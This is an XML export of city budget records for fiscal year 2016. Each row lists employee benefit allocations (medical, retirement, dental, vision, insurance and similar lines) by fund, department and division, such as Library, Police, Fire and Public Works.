<row _id="19395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19400</total></row>
<row _id="19396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38940</total></row>
<row _id="19397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>430103</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>430103</total></row>
<row _id="19398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>52959</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52959</total></row>
<row _id="19399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>416243</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>416243</total></row>
<row _id="19400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12320</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12320</total></row>
<row _id="19401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25780</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25780</total></row>
<row _id="19402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2213</total></row>
<row _id="19403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>790</total></row>
<row _id="19404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>572</total></row>
<row _id="19405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6190</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6190</total></row>
<row _id="19406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16978</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16978</total></row>
<row _id="19407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25884</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25884</total></row>
<row _id="19408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2964</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2964</total></row>
<row _id="19409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>23651</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23651</total></row>
<row _id="19410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3024</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3024</total></row>
<row _id="19411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3858</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3858</total></row>
<row _id="19412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>502</total></row>
<row _id="19413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2314</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2314</total></row>
<row _id="19414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8610</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8610</total></row>
<row _id="19415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3834</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3834</total></row>
<row _id="19416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2874</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2874</total></row>
<row _id="19417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11361</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11361</total></row>
<row _id="19418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1584</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1584</total></row>
<row _id="19419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3177</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3177</total></row>
<row _id="19420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10301</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10301</total></row>
<row _id="19421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3037</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3037</total></row>
<row _id="19422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3098</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3098</total></row>
<row _id="19423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3149</total></row>
<row _id="19424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>74165</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>74165</total></row>
<row _id="19425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11876</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11876</total></row>
<row _id="19426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>78628</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>78628</total></row>
<row _id="19427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1582</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1582</total></row>
<row _id="19428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13473</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13473</total></row>
<row _id="19429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>878</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>878</total></row>
<row _id="19430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4746</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4746</total></row>
<row _id="19431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1632</total></row>
<row _id="19432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>33911</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33911</total></row>
<row _id="19433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>52258</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52258</total></row>
<row _id="19434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>91299</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>91299</total></row>
<row _id="19435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>55854</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55854</total></row>
<row _id="19436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3920</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3920</total></row>
<row _id="19437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1035</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1035</total></row>
<row _id="19438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>649267</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>649267</total></row>
<row _id="19439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12390</total></row>
<row _id="19440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>125014</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>125014</total></row>
<row _id="19441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>525</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>525</total></row>
<row _id="19442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19091</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19091</total></row>
<row _id="19443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>51889</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51889</total></row>
<row _id="19444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448</total></row>
